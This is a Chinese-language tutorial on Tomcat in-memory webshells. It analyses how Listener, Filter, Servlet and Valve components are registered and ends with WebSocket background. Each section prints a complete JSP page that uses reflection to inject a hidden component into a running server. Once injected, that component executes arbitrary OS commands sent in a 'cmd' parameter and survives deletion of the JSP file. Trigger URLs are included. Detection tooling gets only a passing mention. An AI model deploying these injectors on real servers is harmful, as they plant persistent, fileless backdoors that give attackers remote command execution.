一、內存馬攻防技術整體圖景
從整體攻防領域角度進行分類,內存馬可以分爲如下幾個類型:
- Servlet-API型:通過模擬中間件註冊流程,動態註冊一個新的listener、filter或者servlet,從而實現一箇中間件後門。特定框架、容器的內存馬原理與此類似,如tomcat的valve內存馬。
- 字節碼增強型:通過java的instrumentation動態修改應用或者中間件中的已有類代碼,進而實現一個後門。
- 框架類:通過利用框架提供的一些路由、回調接口實現一個框架後門。如spring攔截器內存馬、spring Controler內存馬
按照以上整體技術圖景,我們將本文的討論重點放在”中間件級別內存馬“這個話題上,
- ”Java Agent“內存馬由於靈活性太強,理論上可以Hook篡改任意類字節碼,檢測和清理的難度都十分巨大,留待以後的文章進行討論。
- 框架類內存馬通用性有限,僅能在特定框架下使用,本文會涉及到,但不會深入展開。
爲了簡化篇幅,下文以Tomcat中間件爲例,本質上Jetty原理也是類似的,因爲它們都實現了同樣的J2EE接口。
所謂中間件接口層內存馬,本質上是利用了中間件原生提供的一些”功能“實現了一套運行在內存中的後門邏輯,這些”功能“有一些共性特點,
- 可以很容易通過HTTP請求來觸發,且觸發條件相對較容易達成,例如”只要收到訪問請求就觸發“
- 可以很容易通過中間件原生接口進行註冊和銷燬,不需要修改應用或者中間件的字節碼
- 所涉及到的中間件接口串接在HTTP請求的整個生命週期中,會被中間件以鏈式方式調用,攻擊者額外新增的代碼邏輯不會影響正常的HTTP請求處理,具備很好的隱藏性
二、Tomcat Listener內存馬
0x1:Tomcat基本架構原理
從整體上,Tomcat架構由Server、Service、Connector、Container組成,如下圖所示,
- Server:Server 服務器的意思,代表整個 tomcat 服務器,一個 tomcat 只有一個 Server Server 中包含至少一個 Service 組件,用於提供具體服務。
- Service:服務是 Server 內部的組件,一個Server可以包括多個Service。它將若干個 Connector 組件綁定到一個 Container
- Connector:稱作連接器,是 Service 的核心組件之一,一個 Service 可以有多個 Connector,主要連接客戶端請求,用於接受請求並將請求封裝成 Request 和 Response,然後交給 Container 進 行處理,Container 處理完之後在交給 Connector 返回給客戶端。
- Container:負責處理用戶的 servlet 請求,也是 Service 的核心組件之一。
從業務功能角度,tomcat作爲一個 Web 服務器,兩個最核心的功能是”Http 服務器功能“和”Servlet 容器功能“:
- Http 服務器功能:進行 Socket 通信(基於 TCP/IP),解析 HTTP 報文
- Servlet 容器功能:加載和管理 Servlet,由 Servlet 具體負責處理 Request 請求
以上兩個功能,分別對應着tomcat的兩個核心組件連接器(Connector)和容器(Container),
- 連接器(Connector):連接器負責對外交流(完成 Http 服務器功能)
- 容器(Container):容器負責內部處理(完成 Servlet 容器功能)
1、Connector連接器
連接器主要完成以下三個核心功能:
- socket 通信,也就是網絡編程
- 解析處理應用層協議,封裝成一個 Request 對象
- 將 Request 轉換爲 ServletRequest,將 Response 轉換爲 ServletResponse
以上分別對應三個組件 EndPoint、Processor、Adapter 來完成。
- Endpoint 負責提供請求字節流給Processor
- Processor 負責提供 Tomcat 定義的 Request 對象給 Adapter
- Adapter 負責提供標準的 ServletRequest 對象給 Servlet 容器
2、Container容器
Container組件又稱作Catalina,其是Tomcat的核心。在Container中,有4種容器,分別是
- Engine:表示整個 Catalina 的 Servlet 引擎,用來管理多個虛擬站點,一個 Service 最多隻能有一個 Engine,但是一個引擎可包含多個 Host
- Host:代表一個虛擬主機,或者說一個站點,可以給 Tomcat 配置多個虛擬主機地址,而一個虛擬主機下可包含多個 Context
- Context:表示一個 Web 應用程序,每一個Context都有唯一的path,一個Web應用可包含多個 Wrapper
- Wrapper:表示一個Servlet,負責管理整個 Servlet 的生命週期,包括裝載、初始化、資源回收等
這四種容器成套娃式的分層結構設計。
如以下圖,a.com和b.com分別對應着兩個Host,
0x2:Listener基本原理
請求網站的時候,Tomcat在處理一個HTTP請求的順序爲:
並且執行的順序不會因爲三個標籤在配置文件中的先後順序而改變。
如果web.xml中配置了<context-param>,初始化順序:context-param > Listener > Filter > Servlet。
其實我們也可以從StandarContext#startInternal中找到對應的調用順序:
// Configure and call application event listeners if (ok) { if (!listenerStart()) { log.error(sm.getString("standardContext.listenerFail")); ok = false; } } // Check constraints for uncovered HTTP methods // Needs to be after SCIs and listeners as they may programmatically // change constraints if (ok) { checkConstraintsForUncoveredMethods(findConstraints()); } try {//略 } // Configure and call application filters if (ok) { if (!filterStart()) { log.error(sm.getString("standardContext.filterFail")); ok = false; } } // Load and initialize all "load on startup" servlets if (ok) { if (!loadOnStartup(findChildren())){ log.error(sm.getString("standardContext.servletFail")); ok = false; } }
listener是web三大組件之一,是servlet監聽器,用來監聽請求,監聽服務端的操作。負責對Context、Session、Request、參數等創建、銷燬變化的監聽,可以添加上對應動作。
Java中總共有8個Listener,不同的Listener有不同的生命週期,其大致可分爲3類如下:
- 生命週期監聽器
- ServletContextListener
- requestInitialized 在容器啓動時被調用(在servlet被實例化前執行)
- requestDestroyed 在容器銷燬時調用(在servlet被銷燬後執行)
- HttpSessionListener
- sessionCreated 在HttpSession創建後調用
- sessionDestroyed 在HttpSession銷燬前調用(執行session.invalidate();方法)
- ServletRequestListener
- requestDestroyed 在request對象創建後調用(發起請求)
- requestInitialized 在request對象銷燬前調用(請求結束)
- ServletContextListener
- 屬性變化監聽器
- HttpSessionAttributeListener
- attributeAdded(HttpSessionBindingEvent event)
- attributeRemoved(HttpSessionBindingEvent event)
- attributeReplaced(HttpSessionBindingEvent event)
- ServletRequestAttributeListener
- attributeAdded(ServletRequestAttributeEvent event)
- attributeRemoved(ServletRequestAttributeEvent event)
- attributeReplaced(ServletRequestAttributeEvent event)
- HttpSessionAttributeListener
- session中指定類屬性變化監聽器
- HttpSessionBindingListener
- valueBound(HttpSessionBindingEvent event) 當該類實例設置進session域中時調用
- valueUnbound(HttpSessionBindingEvent event) 當該類的實例從session域中移除時調用
- HttpSessionActivationListener
- sessionWillPassivate(HttpSessionEvent se) 當對象session被序列化(鈍化)後調用
- sessionDidActivate(HttpSessionEvent se) 當對象session被反序列化(活化)後調用
- HttpSessionBindingListener
因爲Listener是最先被加載的, 所以可以利用動態註冊惡意的Listener內存馬。而Listener分爲以下幾種:
- ServletContext,服務器啓動和終止時觸發
- Session,有關Session操作時觸發
- Request,訪問服務時觸發
其中關於監聽Request對象的監聽器是最適合做內存馬的,只要訪問服務就能觸發操作。
我們接下來重點分析Request相關接口。
如果在Tomcat要引入listener,需要實現兩種接口,分別是
- LifecycleListener
- EvenListener
實現了LifecycleListener接口的監聽器一般作用於tomcat初始化啓動階段,此時客戶端的請求還沒進入解析階段,不適合用於內存馬。
所以來看另一個EventListener接口,在Tomcat中,自定義了很多繼承於EventListener的接口,應用於各個對象的監聽。
重點來看ServletRequestListener接口,
ServletRequestListener用於監聽ServletRequest對象的創建和銷燬,當我們訪問任意資源,無論是servlet、jsp還是靜態資源,都會觸發requestInitialized方法。
我們通過源碼來分析一下ServletRequestListener與其執行流程。
寫一個繼承於ServletRequestListener接口的TestListener:
package memshell.Listener; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; public class TestListener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("執行了TestListener requestDestroyed"); } @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("執行了TestListener requestInitialized"); } }
在web.xml中配置:
<listener> <listener-class>memshell.Listener.TestListener</listener-class> </listener>
訪問任意的路徑:http://localhost:8080/11
可以看到控制檯打印了信息,tomcat先執行了requestInitialized,然後再執行了requestDestroyed。
- requestInitialized:在request對象創建時觸發
- requestDestroyed:在request對象銷燬時觸發
搞明白了listener的調用點,接下來繼續研究如何添加listener。
接以上環境,直接在requestInitialized處下斷點,訪問url後,顯示出整個調用鏈。
通過調用鏈發現,Tomcat在StandardHostValve中調用了我們定義的Listener,
跟進context.fireRequestInitEvent,通過StandardContext#getApplicationEventListeners方法獲得的listener。
繼續往下,調用了requestInitialized方法,
繼續往前追溯,listener是在ApplicationContext#addListener中,調用StandardContext#addApplicationEventListener添加的listener,即應用初始化的時候添加的listener。
0x3:Listener內存馬基本原理
搞清楚了Listener的基本原理和調用流程,我們的思路就是通過調用StandardContext#addApplicationEventListener方法,add我們自己寫的惡意listener。
在jsp中獲得StandardContext對象有兩種方法,
方式一: <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %> 方式二: WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
jsp listener內存馬代碼如下,listener_memshell.jsp
<%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.IOException" %> <%! public class MyListener implements ServletRequestListener { public void requestDestroyed(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("cmd") != null){ InputStream in = null; try { in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String out = s.hasNext()?s.next():""; Field requestF = req.getClass().getDeclaredField("request"); requestF.setAccessible(true); Request request = (Request)requestF.get(req); request.getResponse().getWriter().write(out); } catch (IOException e) {} catch (NoSuchFieldException e) {} catch (IllegalAccessException e) {} } } public void requestInitialized(ServletRequestEvent sre) {} } %> <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); MyListener listenerDemo = new MyListener(); context.addApplicationEventListener(listenerDemo); %>
首先訪問上傳的listener_memshell.jsp生成listener內存馬,之後即使listener_memshell.jsp刪除,只要不重啓服務器,內存馬就能存在。
http://localhost:8080/memshell/listener_memshell.jsp?cmd=open%20-a%20Calculator
通過memshell_scan檢測,
參考鏈接:
https://xz.aliyun.com/t/10358#toc-6 https://chenlvtang.top/2022/08/03/Tomcat%E4%B9%8BListener%E5%86%85%E5%AD%98%E9%A9%AC/ https://blog.csdn.net/leichengjun_510/article/details/85338230 https://blog.csdn.net/weixin_39915694/article/details/114788228 https://developer.aliyun.com/article/932526
三、Tomcat Filter內存馬
0x1:Filter基本原理
我們知道當tomcat接收到請求時候,依次會經過Listener -> Filter -> Servlet,
所以,我們也可以通過動態添加Filter來構成內存馬。
從上圖中可以看到,當請求完成listener處理邏輯,到達Wrapper容器時候,會開始調用FilterChain,這個FilterChain就是若干個Filter組成的過濾器鏈。最後纔會達到Servlet。
因此,只要把我們的惡意filter放入filterchain的第一個位置,就可以觸發惡意filter中的方法。
0x2:Filter註冊流程
要在FilterChain中加入惡意filter,首先要了解tomcat中Filter的註冊流程,
在上圖中可以看到,Wrapper容器調用FilterChain的地方就在StandardWrapperValve
類中,
編寫一個註冊filter的測試代碼,
package memshell.Filter; import javax.servlet.*; import java.io.IOException; public class TestFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("filter初始化"); } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("doFilter過濾"); //放行 chain.doFilter(request,response); } @Override public void destroy() { System.out.println("filter銷燬"); } }
配置web.xml
<filter> <filter-name>TestFilter</filter-name> <filter-class>memshell.Filter.TestFilter</filter-class> </filter> <filter-mapping> <filter-name>TestFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
在doFilter處下斷點,訪問任意url:http://127.0.0.1:8080/xxx
可以看到在StandardWrapperValve#invoke中,通過createFilterChain方法獲得了一個ApplicationFilterChain類型的filterChain,
其filterChain中存放了兩個ApplicationFilterConfig類型的filter,其中第一個就是TestFilter,
跟進doFilter方法,在方法中調用了internalDoFilter,
跟進internalDoFilter後看到,從filters數組裏面拿到了第一個filter即Testfilter,
最後調用了filter.doFilter,
從整個跟蹤過程可以看到,filter是從filters數組中拿到的。接下來查看createFilterChain如何把我們寫的TestFilter添加ApplicationFilterConfig的。
重啓tomcat,在createFilterChain這裏斷下來,
跟進ApplicationFilterFactory#createFilterChain中,看到首先拿到了個ServletRequest,然後通過ServletRequest#getFilterChain獲取到了filterChain。
繼續往下看,通過StandardContext對象找到了filterMaps[]。
然後又通過filterMaps中的名字,找到StandardContext對象中的FilterConfig,最後把FilterConfig加入了filterChain中。
跟進filterChain.addFilter看到,也就是加入了前面說的filters數組ApplicationFilterConfig中。這裏和上面一步的操作就是遍歷filter放入ApplicationFilterConfig。
通過以上調試發現,有兩個很重要的變量,filterMap和filterConfig。
- filterMaps:用於獲取filter名字
- filterConfigs:用於獲取過濾器配置
其實這兩個變量都是在StandardContext對象裏面存放了,其中還有個變量filterDefs也是重要的變量。
我們如果想要向tomcat注入filter內存馬,就需要找到一種渠道,直接向StandardContext對象中注入我們自定義的filter對象。
接下來我們分析filterMaps、filterConfigs、filterDefs的生成邏輯。
- filterMaps
既然這三個變量都是從StandardContext中獲得,那麼查看StandardContext發現有兩個方法可以添加filterMap,
- filterConfigs
在StandardContext中同樣尋找添加filterConfig值的地方,發現有一處filterStart方法,此處添加是在tomcat啓動時完成,所以下好斷點啓動tomcat。
filterDefs中存放着TestFilter,遍歷這個filterDefs,拿到key爲TestFilter,value爲FilterDef對象,值test.Testfilter。
接下來new了一個ApplicationFilterConfig,放入了value,然後把nam=TestFilter和filterConfig放入了filterConfigs。
- filterDefs
filterDefs纔是真正放了過濾器的地方,那麼我們看下filterDefs在哪裏被加入了。
在StandardContext中同樣有個addFilterDef方法,
tomcat是從web.xml中讀取的filter,然後加入了filterMap和filterDef變量中,以下對應着這兩個變量,
0x3:Filter內存馬注入原理
通過上一章對filter註冊過程的分析,我們只要通過控制filterMaps、filterConfigs、filterDefs的值,則可以模擬tomcat的filter註冊流程,注入惡意的內存馬filter。
- filterMaps:一個HashMap對象,包含過濾器名字和URL映射
- filterDefs:一個HashMap對象,過濾器名字和過濾器實例的映射
- filterConfigs變量:一個ApplicationFilterConfig對象,裏面存放了filterDefs
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "littlehann"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("open","-a",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * 將filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Filter Memshell Inject Success !"); } %>
首先訪問上傳的filter_memshell.jsp生成filter內存馬,之後即使filter_memshell.jsp刪除,只要不重啓服務器,內存馬就能存在。
http://localhost:8080/memshell/filter_memshell.jsp?cmd=Calculator
注入成功後,就可以通過cmd參數傳入參數執行命令,
上面代碼用的是open新進程,如果想要執行任意指令,可以改用如下代碼,
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "littlehann"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * 將filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Filter Memshell Inject Success !"); } %>
訪問如下鏈接,第一次注入filter內存馬,從第二次之後可以通過cmd參數執行任意指令。
http://localhost:8080/memshell/filter_memshell.jsp?cmd=open%20-a%20Calculator
通過memshell_scan檢測,
參考鏈接:
https://xz.aliyun.com/t/10362 https://www.anquanke.com/post/id/266240
四、Tomcat Servlet內存馬
Servlet型的內存馬原理就是註冊一個惡意的Servlet,與Filter相似,只是創建過程不同。
核心還是看StandardContext,在init filter後就調用了loadOnStartup方法實例化servlet。
可以發現servlet的相關信息是保存在StandardContext的children字段。
根據以下代碼可知,只要在children字段添加相應的servlet,loadOnStartup就能夠完成init。
接下去就要尋找如何添加惡意wrapper至children,找到addchild方法。
尋找創建wrapper實例的代碼,發現createWrapper方法,這樣創建惡意servlet流程就清楚了。
- 創建惡意的servlet實例
- 獲取standardContext實例
- 調用createWrapper方法並設置相應參數
- 調用addchild函數
- 爲了將servlet與相應url綁定,調用addServletMappingDecoded方法
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.PrintWriter" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "servletshell"; // 獲取上下文 ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }; org.apache.catalina.Wrapper newWrapper = standardContext.createWrapper(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); standardContext.addChild(newWrapper); standardContext.addServletMappingDecoded("/*",name); out.print("Servlet Memshell Inject Success !"); %> <html> <head> <title>Title</title> </head> <body> </body> </html>
訪問如下鏈接,第一次注入servlet內存馬,從第二次之後可以通過cmd參數執行任意指令。
http://localhost:8080/memshell/servlet_memshell.jsp?cmd=open%20-a%20Calculator
五、Tomcat Valve內存馬
0x1:Valve基本原理
Tomcat中按照包含關係一共有四個容器:engine,host,context,wrapper。
在每個容器對象裏面都有一個pipeline及valve模塊,它們是容器類必須具有的模塊,在容器對象生成時自動產生。Pipeline就像是每個容器的邏輯總線。在pipeline上按照配置的順序,加載各個valve,通過pipeline完成各個valve之間的調用,各個valve實現具體的應用邏輯。
四個容器中每個容器都包含自己的管道對象,管道對象用來存放若干閥門對象,但tomcat會爲每一個容器制定一個默認的基礎閥門:
- Engine:org.apache.catalina.core.StandardEngineValve
- Host:org.apache.catalina.core.StandardHostValve
- Context:org.apache.catalina.core.StandardContextValve
- Wrapper:org.apache.catalina.core.StandardWrapperValve
四個基礎閥門放在各自容器管道的最後一位,用於查找下一級容器的管道。
當各個容器類調用getPipeLine().getFirst().invoke(Request req, Response resp)時,會首先調用用戶添加的Valve,最後再調用上述缺省的Standard-Valve。
注意,每一個上層的Valve都是在調用下一層的Valve,並等待下層的Valve返回後才完成的,這樣上層的Valve不僅具有Request對象,同時還能獲取到Response對象。使得各個環節的Valve均具備了處理請求和響應的能力。
當在server.xml文件中配置了一個定製化valve時,會調用pipeline對象的addValve方法,將valve以鏈表方式組織起來。
Valve hander代碼如下,
package memshell.Valve; import org.apache.catalina.Valve; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.valves.ValveBase; import javax.servlet.ServletException; import java.io.IOException; public class TestHandlerValve extends ValveBase { private Valve next; @Override public Valve getNext() { return next; } @Override public void setNext(Valve valve) { next = valve; } @Override public void backgroundProcess() { } @Override public void invoke(Request request, Response response) throws IOException, ServletException { System.out.println("=====================start==================="); System.out.println("#getNext().getClass().getName(): "+getNext().getClass().getName()); System.out.println(this.getClass().getName()+"#invoke"); System.out.println("request: "+request); System.out.println("response: "+response); System.out.println("request.getServletPath():"+request.getServletPath()); System.out.println("request.getQueryString():"+request.getQueryString()); //例如這裏可以獲取請求體長度,用來記錄請求流量 System.out.println("request.getContentLength(): "+request.getContentLength()); //例如獲取響應的流量 System.out.println("response.getBytesWritten(false): "+response.getBytesWritten(false)); System.out.println("==================end======================"); getNext().invoke(request, response); } @Override public boolean isAsyncSupported() { return true; } }
從上面可以清楚的看出,valve按照容器作用域的配置順序來組織valve,每個valve都設置了指向下一個valve的next引用。同時,每個容器缺省的標準valve都存在於valve鏈表尾端,這就意味着,在每個pipeline中,缺省的標準valve都是按順序,最後被調用。
0x2:Valve內存馬基本原理
基於以上對tomcat valve初始化和調用順序原理的分析,我們可以嘗試自己創建惡意valve,重寫其invoke方法,添加到四大容器中的pipeline。在發送request時,就能夠對其進行操作,執行java代碼。
在Pipeline類中找到方法addValve,可以添加valve。
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.Valve" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%! public final class myvalve implements Valve{ private Valve next; @Override public Valve getNext() { return next; } @Override public void setNext(Valve valve) { next = valve; } @Override public void backgroundProcess() { } @Override public void invoke(Request request, Response response) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; resp.getWriter().write(output); resp.getWriter().flush(); resp.getWriter().close(); } this.getNext().invoke(request,response); } @Override public boolean isAsyncSupported() { return false; } } %> <% final String name = "shell"; // 獲取上下文 ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); myvalve myvalve = new myvalve(); standardContext.getPipeline().addValve(myvalve); out.print("Valve Memshell Inject Success !"); %> <html> <head> <title>Title</title> </head> <body> </body> </html>
訪問如下鏈接,第一次注入servlet內存馬,從第二次之後可以通過cmd參數執行任意指令。
http://localhost:8080/memshell/valve_memshell.jsp?cmd=open%20-a%20Calculator
參考鏈接:
https://www.cnblogs.com/benwu/articles/6081906.html https://mp.weixin.qq.com/s/kfN6uU3A-jR72fyK8epnGw https://www.cnblogs.com/chengwenqin/p/14211808.html https://www.cnblogs.com/xyylll/p/15463635.html
六、Tomcat WebSocket內存馬
0x1:什麼是WebSocket?
WebSocket是一種全雙工通信協議,即客戶端可以向服務端發送請求,服務端也可以主動向客戶端推送數據。這樣的特點,使得它在一些實時性要求比較高的場景效果斐然(比如微信朋友圈實時通知、在線協同編輯等)。
主流瀏覽器以及一些常見服務端通信中間件(Tomcat、Spring、Jetty、WebSphere、WebLogic等)都對WebSocket進行了技術支持。
0x2:WebSocket解決了什麼問題?
HTTP/1.1最初是爲網絡中超文本資源(HTML),請求-響應傳輸而設計的,後來支持了傳輸更多類型的資源,如圖片、視頻等,但都沒有改變它單向的請求-響應模式。隨着互聯網的日益壯大,HTTP/1.1功能使用上已體現捉襟見肘的疲態。雖然可以通過某些方式滿足需求(如Ajax、Comet),但是性能上還是侷限於HTTP/1.1的技術瓶頸:
- 請求-響應模式,只能客戶端發送請求給服務端,服務端纔可以發送響應數據給客戶端。
- 傳輸數據爲文本格式,且請求/響應頭部冗長重複。
在WebSocket出現之前,主要通過長輪詢和HTTP長連接實現實時數據更新,這種方式有個統稱叫Comet,Tomcat8.5之前有對Comet基於流的HTTP長連接做支持,後來因爲WebSocket的成熟和標準化,以及Comet自身依然是基於HTTP,在性能消耗和瓶頸上無法跳脫HTTP,就把Comet廢棄了。
還有一個SPDY技術,也對HTTP進行了改進,多路複用流、服務器推送等,後來演化成HTTP/2.0,不過對於HTTP/2.0和WebSocket在Tomcat實現中都是作爲協議升級來處理的。
在這種背景下,HTML5制定了WebSocket:
- 籌備階段,WebSocket被劃分爲HTML5標準的一部分,2008年6月,Michael Carter進行了一系列討論,最終形成了稱爲WebSocket的協議。
- 2009年12月,Google Chrome 4是第一個提供標準支持的瀏覽器,默認情況下啓用了WebSocket。
- 2010年2月,WebSocket協議的開發從W3C和WHATWG小組轉移到IETF(TheInternet Engineering Task Force),並在Ian Hickson的指導下進行了兩次修訂。
- 2011年,IETF將WebSocket協議標準化爲RFC 6455起,大多數Web瀏覽器都在實現支持WebSocket協議的客戶端API。此外,已經開發了許多實現WebSocket協議的Java庫。
- 2013年,發佈JSR356標準,Java API for WebSocket。
2013年以前還沒出JSR356標準,Tomcat就對Websocket做了支持,自定義API,再後來有了JSR356,Tomcat立馬緊跟潮流,廢棄自定義的API,實現JSR356那一套,這就使得在Tomcat7.0.47之後的版本和之前的版本實現方式並不一樣,接入方式也改變了。
JSR356 是java制定的websocket編程規範,屬於Java EE 7 的一部分,所以Java開發中要實現websocket功能並不需要任何第三方依賴。
相比HTTP協議,WebSocket協議有如下優點:
- 較少的控制開銷。在連接建立後,服務器和客戶端之間交換數據時,用於協議控制的數據包頭部相對於HTTP請求每次都要攜帶完整的頭部,顯著減少。
- 更強的實時性。由於協議是全雙工的,所以服務器可以隨時主動給客戶端下發數據。相對於HTTP請求需要等待客戶端發起請求服務端才能響應,延遲明顯更少。
- 保持連接狀態。與HTTP不同的是,Websocket需要先建立連接,這就使得其成爲一種有狀態的協議,之後通信時可以省略部分狀態信息。而HTTP請求可能需要在每個請求都攜帶狀態信息(如身份認證等)。
